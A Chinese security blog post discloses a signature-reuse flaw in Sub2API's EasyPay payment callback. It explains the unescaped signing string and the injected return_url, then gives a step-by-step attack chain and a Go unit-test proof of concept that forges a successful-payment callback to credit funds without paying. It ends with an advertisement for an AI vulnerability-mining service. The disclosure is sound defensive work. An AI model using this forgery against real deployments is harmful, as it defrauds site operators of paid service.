Sub2api 存在支付回调计费漏洞 (中转站长注意)
XingYue404
XingYue404
星悦安全
2026年10月6日 23:39
浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
点击上方蓝字关注我们 并设为星标
0x00 前言
Sub2API 是一站式开源中转服务,让 Claude、Openai 、Gemini、Grok订阅统一接入,支持拼车共享,更高效分摊成本,原生工具无缝使用
0x01 漏洞分析
易支付(EasyPay)回调验签存在签名复用漏洞:攻击者无需商户密钥(pkey),即可伪造支付成功回调给任意自己的订单入账。
-
影响范围:所有启用易支付、且使用 popup(submit.php 跳转)模式的部署
-
攻击者前置条件:仅需要一个普通注册用户账号(能发起充值下单),无需任何密钥
-
后果:零成本给自己账户充值任意金额(有多少订单就能刷多少)
缺陷 A:签名基础串拼接不转义
easyPaySign 把参数按 key 排序后直接 k=v&k=v... 拼接再追加 pkey,值中的 &/= 不做任何转义:
_, _ = buf.WriteString(k + \"=\" + params[k])
这意味着一个参数的值里可以\"藏\"另一个参数:只要伪造回调解析出的参数集合,排序拼接后与下单签名串逐字节一致,签名验证即通过。
缺陷 B:return\_url 的 query 未净化 + popup 模式签名暴露
- 下单接口接受用户提交的
return_url,CanonicalizeReturnURL只校验 scheme/host/path(必须是本站/payment/result),query 原样保留; buildPaymentReturnURL
往里追加 order_id/out_trade_no/resume_token/status 后按 key 排序重编码,用户注入的 trade_status=TRADE_SUCCESS 恰好排在 return\_url 值内部的最末尾;
3. popup(submit.php)模式下,下单签名随支付 URL 直接暴露在付款人(即攻击者)浏览器里。
0x02 攻击链 & 利用
- 攻击者下单时提交:
return_url = https://你的站点/payment/result?trade_status=TRADE_SUCCESS - 服务端追加参数并重编码后,下单签名实际覆盖这样一段串:
money=650.00&name=...¬ify_url=...&out_trade_no=ORDER123&pid=1000\\&return_url=https://site/payment/result?order_id=99&out_trade_no=ORDER123&status=success&trade_status=TRADE_SUCCESS\\&type=alipay<PKEY>
3.攻击者从自己支付 URL 里拿到该签名,请求 /api/v1/payment/webhook/easypay,把 return_url只编码到 status=success 为止,让 &trade_status=TRADE_SUCCESS 以裸 & 形式升为顶层参数。
- 回调验签重新排序拼接,
trade_status在串中的位置与下单签名串逐字节相同 → 签名通过、trade_status == \"TRADE_SUCCESS\"、money等于自己订单应付金额 → 判定支付成功并入账。
POC :(纯本地单测,不触网)
func TestForgedCallback(t *testing.T) {\te := &EasyPay{config: map[string]string{\t\t\"pid\": \"1000\", \"pkey\": \"MERCHANT_SECRET_KEY\",\t\t\"apiBase\": \"https://pay.example.com\",\t\t\"notifyUrl\": \"https://site.example.com/api/v1/payment/webhook/easypay\",\t}}
\t// 1. 下单(popup 模式):return_url 末尾藏着 trade_status=TRADE_SUCCESS\treturnURL := \"https://site.example.com/payment/result?order_id=99&out_trade_no=ORDER123&status=success&trade_status=TRADE_SUCCESS\"\tcreateParams := map[string]string{\t\t\"pid\": \"1000\", \"type\": \"alipay\", \"out_trade_no\": \"ORDER123\",\t\t\"notify_url\": e.config[\"notifyUrl\"], \"return_url\": returnURL,\t\t\"name\": \"balance recharge\", \"money\": \"650.00\",\t}\tsign := easyPaySign(createParams, e.config[\"pkey\"]) // 攻击者从自己支付 URL 里直接拿到
\t// 2. 伪造回调:return_url 只编码前半段,trade_status 升为顶层参数\tprefix := \"https://site.example.com/payment/result?order_id=99&out_trade_no=ORDER123&status=success\"\tcb := url.Values{}\tcb.Set(\"pid\", \"1000\"); cb.Set(\"type\", \"alipay\"); cb.Set(\"out_trade_no\", \"ORDER123\")\tcb.Set(\"notify_url\", e.config[\"notifyUrl\"]); cb.Set(\"name\", \"balance recharge\")\tcb.Set(\"money\", \"650.00\"); cb.Set(\"return_url\", prefix)\trawCallback := cb.Encode() + \"&trade_status=TRADE_SUCCESS\" + \"&sign=\" + sign + \"&sign_type=MD5\"
\tn, err := e.VerifyNotification(context.Background(), rawCallback, nil)\t// 修复前实测:err == nil, n.Status == \"success\", n.Amount == 650 —— 伪造入账成功}
修复前实测输出:BUG REPRODUCED: forged callback accepted, order=ORDER123 amount=650
0x03 AI 漏洞挖掘
*标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所*
**星悦AI中转提供GPT-6-Astra 漏洞挖掘分析.****
https://www.xyusec.com/
新用户还可以添加进群领5$额度
**免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论